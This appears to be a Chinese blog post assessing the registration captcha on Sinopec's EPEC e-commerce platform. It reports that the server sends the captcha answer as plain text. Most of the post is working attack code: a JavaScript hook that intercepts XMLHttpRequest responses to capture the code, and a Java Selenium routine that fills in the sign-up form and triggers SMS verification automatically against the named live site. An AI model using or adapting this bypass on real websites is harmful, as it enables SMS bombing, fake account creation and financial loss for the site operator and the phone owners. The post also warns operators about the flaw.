前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
1. 暴力破解密码,造成用户信息泄露
2. 短信盗刷的安全问题,影响业务及导致用户投诉
3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 中石化易派客PC 注册入口
简介: 易派客是顺应“互联网+”国家发展战略,根植于中国石化的坚实产业链、采购管理实践及信息化新成果,探索铸就的“互联网+供应链”电商平台。

二、 安全性分析报告:
易派客研发的英文数字混合图形验证码,存在严重的致命缺陷,使设计的功能无效,攻击者无需进行识别图形就可以英文数字字符串。

三、 测试方法:
前端界面分析,这是易派客自己研发的滑动验证码,网上没有现成的教学视频,但形式都差不多,发现严重问题:
前端利用 canvs 将后台直接返回的字符串(不是图片信息)在前端显示加干扰线的图片,用JS 注入方式直接获取位置,获取字符串后将参数提交即可
这次还是采用模拟器的方式,简单,只需要注入JS,两步就可以搞定:
1. 注入监听脚本, 获取参数后保存到指定变量 window.epecResponse
2. 读取指定变量window.epecResponse 后,作为输入,提交完成操作;

- JS 注入部分代码
(function(){
// 保存原始的XMLHttpRequest构造函数
const originalXHR = XMLHttpRequest;
// 创建一个新的构造函数
functionCustomXHR(){
const xhrInstance = new originalXHR();
// 保存原始的open方法
const originalOpen = xhrInstance.open;
xhrInstance.open = function(method, url, async, user, password){
// 调用原始的open方法
originalOpen.apply(xhrInstance, arguments);};
// 保存原始的send方法
const originalSend = xhrInstance.send;
xhrInstance.send = function(body){
// 可以在这里拦截请求体
console.log('Request Body:', body);
// 调用原始的send方法
originalSend.apply(xhrInstance, arguments);};
// 拦截onreadystatechange事件
xhrInstance.addEventListener('readystatechange', function(){if(xhrInstance.readyState ===4){
// 可以在这里拦截响应
if(xhrInstance.responseText.indexOf('imageCode')>=0){window.epecResponse=xhrInstance.responseText;
console.log('epecResponse:', epecResponse);}}});return xhrInstance;}
// 复制原始的XMLHttpRequest原型到新的构造函数
CustomXHR.prototype = originalXHR.prototype;
// 将全局的XMLHttpRequest替换为自定义的构造函数
window.XMLHttpRequest = CustomXHR;})();
- 模拟器交互部分
public RetEntity send(WebDriver driver, String areaCode, String phone){
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
// 注入监听脚本 ,存入指定变量
InputStream inStream = Epec.class.getResourceAsStream("/epec.js");
StringBuffer jsBuffer = new StringBuffer();
InputStreamReader inPutStream =(inStream != null) ? new InputStreamReader(inStream): null;
BufferedReader bufferedReader =(inPutStream != null) ? new BufferedReader(inPutStream): null;
String line = null;while((line = bufferedReader.readLine())!= null){
jsBuffer.append(line + "\n");}
bufferedReader.close();((JavascriptExecutor) driver).executeScript(jsBuffer.toString());
// 请输入用户名
WebElement userElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入用户名')]"));
userElement.sendKeys("user" + System.currentTimeMillis());
// 请设置您的登录密码
String pass ="Abc" + System.currentTimeMillis() + "!";
WebElement passElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请设置您的登录密码')]"));
passElement.sendKeys(pass);
passElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请再次输入您的登录密码')]"));
passElement.sendKeys(pass);
// 请输入真实姓名
String trueName = NickName.getFamily();
WebElement tureNameElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入真实姓名')]"));
tureNameElement.sendKeys(trueName);
// 请输入您的手机号
WebElement phoneElemet = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入您的手机号')]"));
phoneElemet.sendKeys(phone);
// 点击获取验证码
driver.findElement(By.className("refresh")).click();
Thread.sleep(1 * 1000);
String js ="return window.epecResponse;";
Object exeRet =((JavascriptExecutor) driver).executeScript(js);
JSONObject retJson =(exeRet != null)? JSONObject.parseObject(exeRet.toString()): null;
JSONObject dataJson =(retJson != null) ? retJson.getJSONObject("data"): null;
String smsCode =(dataJson != null) ? dataJson.getString("imageCode"): null;
System.out.println("exeRet=" + exeRet + "->smsCode=" + smsCode);if(smsCode == null ||"".equals(smsCode)){return null;}
// 请输入验证码
WebElement smsCodeElemet = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入验证码')]"));
smsCodeElemet.sendKeys(smsCode);
// 获取验证码
WebElement getCodeElemet = driver.findElement(By.xpath("//span[contains(text(),'获取验证码')]"));
getCodeElemet.click();
String gtInfo = getCodeElemet.getText();
retEntity.setMsg(gtInfo);if(gtInfo.contains("重新发送")){
retEntity.setRet(0);return retEntity;}else{
System.out.println("gtInfo=" + gtInfo);
retEntity.setRet(-1);return retEntity;}} catch (Exception e){
System.out.println(e.toString());
retEntity.setRet(-1);
retEntity.setMsg(e.toString());} finally {
driver.manage().deleteAllCookies();}return retEntity;}
由于碰到严重设计缺陷,本次测评非常简单
二丶结语
中石化易派客作为顺应“互联网+”国家发展战略,根植于中国石化的坚实产业链、采购管理实践及信息化新成果,探索铸就的“互联网+供应链”电商平台,但本次测评时,图形验证码在后台直接输出, 这就明白的告诉攻击者,答案已经给你了,不需要进行图形识别
不过,前端的水平的确可以, 在前端完成了超级无法的加干扰线、文字扭曲等展示,可惜最终如皇帝的新装, 等于没有。总之作为实力雄厚的国有大企业,出现这么严重的低级问题! 在业界面前被打脸, 对不起自己的能源行业巨头地位 !
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》
版权归原作者 newxtc 所有, 如有侵权,请联系我们删除。